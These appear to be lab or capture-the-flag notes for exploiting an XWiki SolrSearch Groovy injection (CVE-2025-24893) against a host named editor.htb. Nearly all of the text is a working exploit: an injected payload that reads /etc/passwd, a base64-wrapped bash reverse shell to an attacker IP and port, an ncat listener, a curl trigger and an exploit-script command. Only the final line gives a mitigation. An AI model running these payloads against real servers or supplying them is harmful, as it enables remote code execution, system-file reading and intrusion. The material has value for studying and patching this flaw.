GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

# start listener
sudo ncat -lvnp 4444

# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>

<TARGET URL> - http:// या https:// सहित URL

# /etc/xwiki/xwiki.properties
solr.search.enabled = false